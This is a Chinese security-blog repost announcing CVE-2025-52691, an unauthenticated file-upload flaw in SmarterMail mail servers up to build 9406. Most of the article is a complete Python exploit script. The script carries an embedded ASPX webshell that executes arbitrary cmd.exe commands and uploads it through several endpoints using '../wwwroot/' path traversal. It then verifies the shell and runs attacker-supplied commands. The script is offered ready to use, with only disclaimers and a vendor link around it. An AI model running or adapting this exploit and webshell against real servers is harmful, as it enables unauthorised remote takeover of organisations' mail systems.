CVE-2025-52691|SmarterMail未授权文件上传漏洞(POC)

admin 2026-01-04 01:50:01 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文披露了SmarterMail邮件服务器CVE-2025-52691未授权文件上传漏洞,攻击者无需认证即可上传恶意文件实现RCE,影响版本小于等于9406。文中提供了完整的PythonPOC验证脚本及检测建议,建议受影响用户及时升级版本并限制服务端访问以修复安全隐患。 综合评分: 90 文章分类: 漏洞POC,漏洞分析,渗透测试,WEB安全,漏洞预警


cover_image

CVE-2025-52691|SmarterMail 未授权文件上传漏洞(POC)

alicy

信安百科

2026年1月2日 09:35 河北

0x00 前言

SmarterMail是一款由SmarterTools公司开发的基于Windows平台的邮件服务器软件,专为中小型企业、教育机构及需要私有化部署的组织设计,提供完整的邮件通信解决方案。其核心定位是作为Microsoft Exchange的轻量级替代方案,无需依赖Active Directory,部署更灵活,运维成本更低。

0x01 漏洞描述

服务器对文件上传过程中的安全校验不足,导致攻击者在无需任何身份认证的情况下,即可向邮件服务器任意路径上传恶意文件。

0x02 CVE编号

CVE-2025-52691

0x03 影响版本

SmarterMail <= 9406

0x04 漏洞详情

POC:

https://github.com/yt2w/CVE-2025-52691

#!/usr/bin/env python3
import&nbsp;sysimport&nbsp;argparseimport&nbsp;requestsimport&nbsp;uuidimport&nbsp;base64from&nbsp;typing&nbsp;import&nbsp;Optional,&nbsp;Tuplefrom&nbsp;dataclasses&nbsp;import&nbsp;dataclassfrom&nbsp;enum&nbsp;import&nbsp;Enumfrom&nbsp;urllib3.exceptions&nbsp;import&nbsp;InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

class&nbsp;ExploitResult(Enum):&nbsp; &nbsp; SUCCESS =&nbsp;"success"&nbsp; &nbsp; SHELL_UPLOADED =&nbsp;"shell_uploaded"&nbsp; &nbsp; FAILED =&nbsp;"failed"&nbsp; &nbsp; ERROR =&nbsp;"error"

@dataclass&nbsp;class&nbsp;TargetConfig:&nbsp; &nbsp; base_url:&nbsp;str&nbsp; &nbsp; timeout:&nbsp;int&nbsp;=&nbsp;30&nbsp; &nbsp; verify_ssl:&nbsp;bool&nbsp;=&nbsp;False

class&nbsp;SmarterMailExploit:
&nbsp; &nbsp; UPLOAD_ENDPOINTS = [&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"/api/upload",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"/api/v1/upload",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"/Interface/Frmx/UploadFile.aspx",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"/MRS/Upload.ashx",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"/Services/Upload.ashx"&nbsp; &nbsp; ]
&nbsp; &nbsp; ASPX_WEBSHELL =&nbsp;"""<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO" %><script runat="server">protected void Page_Load(object sender, EventArgs e) {&nbsp; &nbsp; string c = Request.QueryString["cmd"];&nbsp; &nbsp; if (!string.IsNullOrEmpty(c)) {&nbsp; &nbsp; &nbsp; &nbsp; ProcessStartInfo psi = new ProcessStartInfo();&nbsp; &nbsp; &nbsp; &nbsp; psi.FileName = "cmd.exe";&nbsp; &nbsp; &nbsp; &nbsp; psi.Arguments = "/c " + c;&nbsp; &nbsp; &nbsp; &nbsp; psi.RedirectStandardOutput = true;&nbsp; &nbsp; &nbsp; &nbsp; psi.UseShellExecute = false;&nbsp; &nbsp; &nbsp; &nbsp; Process p = Process.Start(psi);&nbsp; &nbsp; &nbsp; &nbsp; Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");&nbsp; &nbsp; &nbsp; &nbsp; p.WaitForExit();&nbsp; &nbsp; }}</script>"""
&nbsp; &nbsp;&nbsp;def&nbsp;__init__(self, config: TargetConfig):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.config = config&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.session = requests.Session()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.shell_name =&nbsp;None&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.shell_path =&nbsp;None
&nbsp; &nbsp;&nbsp;def&nbsp;_request(self, method:&nbsp;str, endpoint:&nbsp;str, **kwargs) ->&nbsp;Optional[requests.Response]:&nbsp; &nbsp; &nbsp; &nbsp; url =&nbsp;f"{self.config.base_url}{endpoint}"&nbsp; &nbsp; &nbsp; &nbsp; kwargs.setdefault("timeout",&nbsp;self.config.timeout)&nbsp; &nbsp; &nbsp; &nbsp; kwargs.setdefault("verify",&nbsp;self.config.verify_ssl)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;self.session.request(method, url, **kwargs)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;requests.exceptions.RequestException:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;None
&nbsp; &nbsp;&nbsp;def&nbsp;check_alive(self) ->&nbsp;bool:&nbsp; &nbsp; &nbsp; &nbsp; response =&nbsp;self._request("GET",&nbsp;"/")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;response&nbsp;is&nbsp;not&nbsp;None
&nbsp; &nbsp;&nbsp;def&nbsp;generate_shell_name(self) ->&nbsp;str:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;f"{uuid.uuid4().hex[:8]}.aspx"
&nbsp; &nbsp;&nbsp;def&nbsp;upload_shell_multipart(self, endpoint:&nbsp;str, shell_content:&nbsp;str, filename:&nbsp;str) ->&nbsp;bool:&nbsp; &nbsp; &nbsp; &nbsp; files = {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"file": (filename, shell_content,&nbsp;"application/octet-stream")&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; data = {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"path":&nbsp;"../wwwroot/",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"folder":&nbsp;"../wwwroot/",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"directory":&nbsp;"../wwwroot/"&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; response =&nbsp;self._request("POST", endpoint, files=files, data=data)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;response&nbsp;and&nbsp;response.status_code&nbsp;in&nbsp;[200,&nbsp;201,&nbsp;204]:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False
&nbsp; &nbsp;&nbsp;def&nbsp;upload_shell_raw(self, endpoint:&nbsp;str, shell_content:&nbsp;str, filename:&nbsp;str) ->&nbsp;bool:&nbsp; &nbsp; &nbsp; &nbsp; headers = {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"Content-Type":&nbsp;"application/octet-stream",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"X-Filename": filename,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"X-Path":&nbsp;"../wwwroot/"&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; response =&nbsp;self._request("POST", endpoint, data=shell_content.encode(), headers=headers)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;response&nbsp;and&nbsp;response.status_code&nbsp;in&nbsp;[200,&nbsp;201,&nbsp;204]:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False
&nbsp; &nbsp;&nbsp;def&nbsp;upload_shell_json(self, endpoint:&nbsp;str, shell_content:&nbsp;str, filename:&nbsp;str) ->&nbsp;bool:&nbsp; &nbsp; &nbsp; &nbsp; payload = {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"filename": filename,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"content": base64.b64encode(shell_content.encode()).decode(),&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"path":&nbsp;"../wwwroot/",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"overwrite":&nbsp;True&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; headers = {"Content-Type":&nbsp;"application/json"}
&nbsp; &nbsp; &nbsp; &nbsp; response =&nbsp;self._request("POST", endpoint, json=payload, headers=headers)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;response&nbsp;and&nbsp;response.status_code&nbsp;in&nbsp;[200,&nbsp;201,&nbsp;204]:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False
&nbsp; &nbsp;&nbsp;def&nbsp;verify_shell(self, shell_name:&nbsp;str) ->&nbsp;Tuple[bool,&nbsp;str]:&nbsp; &nbsp; &nbsp; &nbsp; paths = [&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"/{shell_name}",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"/wwwroot/{shell_name}",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"/Interface/{shell_name}",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"/MRS/{shell_name}"&nbsp; &nbsp; &nbsp; &nbsp; ]
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;path&nbsp;in&nbsp;paths:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response =&nbsp;self._request("GET",&nbsp;f"{path}?cmd=whoami")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;response&nbsp;and&nbsp;response.status_code ==&nbsp;200:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;"pre"&nbsp;in&nbsp;response.text.lower()&nbsp;or&nbsp;"\\"&nbsp;in&nbsp;response.text:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True, path
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False,&nbsp;""
&nbsp; &nbsp;&nbsp;def&nbsp;execute_command(self, command:&nbsp;str) ->&nbsp;Optional[str]:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;self.shell_path:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;None
&nbsp; &nbsp; &nbsp; &nbsp; response =&nbsp;self._request("GET",&nbsp;f"{self.shell_path}?cmd={command}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;response&nbsp;and&nbsp;response.status_code ==&nbsp;200:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;import&nbsp;re&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;match&nbsp;= re.search(r"<pre>(.*?)</pre>", response.text, re.DOTALL)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;match:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;match.group(1).strip()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;response.text
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;None
&nbsp; &nbsp;&nbsp;def&nbsp;exploit(self) -> ExploitResult:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;self.check_alive():&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;ExploitResult.ERROR
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.shell_name =&nbsp;self.generate_shell_name()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;endpoint&nbsp;in&nbsp;self.UPLOAD_ENDPOINTS:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; upload_methods = [&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.upload_shell_multipart,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.upload_shell_raw,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.upload_shell_json&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;upload_method&nbsp;in&nbsp;upload_methods:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;upload_method(endpoint,&nbsp;self.ASPX_WEBSHELL,&nbsp;self.shell_name):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; success, path =&nbsp;self.verify_shell(self.shell_name)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;success:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.shell_path = path&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;ExploitResult.SHELL_UPLOADED&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue
&nbsp; &nbsp; &nbsp; &nbsp; success, path =&nbsp;self.verify_shell(self.shell_name)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;success:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.shell_path = path&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;ExploitResult.SHELL_UPLOADED
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;ExploitResult.FAILED

def&nbsp;parse_arguments() -> argparse.Namespace:&nbsp; &nbsp; parser = argparse.ArgumentParser(&nbsp; &nbsp; &nbsp; &nbsp; description="CVE-2025-52691: SmarterMail Arbitrary File Upload RCE",&nbsp; &nbsp; &nbsp; &nbsp; formatter_class=argparse.RawDescriptionHelpFormatter&nbsp; &nbsp; )
&nbsp; &nbsp; parser.add_argument("target",&nbsp;help="Target URL (e.g., http://mail.example.com)")&nbsp; &nbsp; parser.add_argument("-c",&nbsp;"--command",&nbsp;help="Command to execute after upload")&nbsp; &nbsp; parser.add_argument("-t",&nbsp;"--timeout",&nbsp;type=int, default=30,&nbsp;help="Request timeout")&nbsp; &nbsp; parser.add_argument("--check-only", action="store_true",&nbsp;help="Only check if target is alive")
&nbsp; &nbsp;&nbsp;return&nbsp;parser.parse_args()

def&nbsp;main() ->&nbsp;int:&nbsp; &nbsp; args = parse_arguments()
&nbsp; &nbsp; base_url = args.target.rstrip("/")&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;base_url.startswith("http"):&nbsp; &nbsp; &nbsp; &nbsp; base_url =&nbsp;f"https://{base_url}"
&nbsp; &nbsp; config = TargetConfig(base_url=base_url, timeout=args.timeout)&nbsp; &nbsp; exploit = SmarterMailExploit(config)
&nbsp; &nbsp;&nbsp;print(f"\n[*] Target:&nbsp;{config.base_url}")&nbsp; &nbsp;&nbsp;print(f"[*] CVE-2025-52691: SmarterMail Arbitrary File Upload RCE\n")
&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;exploit.check_alive():&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[-] Target is not reachable")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1
&nbsp; &nbsp;&nbsp;print("[+] Target is alive")
&nbsp; &nbsp;&nbsp;if&nbsp;args.check_only:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[*] Check only mode - target appears to be SmarterMail")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;0
&nbsp; &nbsp;&nbsp;print("[*] Attempting unauthenticated file upload...")&nbsp; &nbsp;&nbsp;print(f"[*] Shell name:&nbsp;{exploit.shell_name&nbsp;or&nbsp;exploit.generate_shell_name()}")
&nbsp; &nbsp; result = exploit.exploit()
&nbsp; &nbsp;&nbsp;if&nbsp;result == ExploitResult.SHELL_UPLOADED:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"\n[!] WEBSHELL UPLOADED SUCCESSFULLY")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] Shell path:&nbsp;{exploit.shell_path}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] Access:&nbsp;{config.base_url}{exploit.shell_path}?cmd=<command>")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;args.command:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"\n[*] Executing:&nbsp;{args.command}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; output = exploit.execute_command(args.command)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;output:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] Output:\n{output}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;0
&nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[-] Exploit failed - target may be patched or different version")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1

if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; sys.exit(main())

0x05 参考链接

https://www.smartertools.com/smartermail/downloads/

推荐阅读:

CVE-2025-49113|Roundcube Webmail反序列化漏洞(POC)

N/A|Roundcube Webmail存在远程代码执行漏洞(POC)

CVE-2025-55182|React/Next.js远程代码执行漏洞(POC)

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持!!!


本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:信安百科 alicy《CVE-2025-52691|SmarterMail 未授权文件上传漏洞(POC)》

评论:0   参与:  0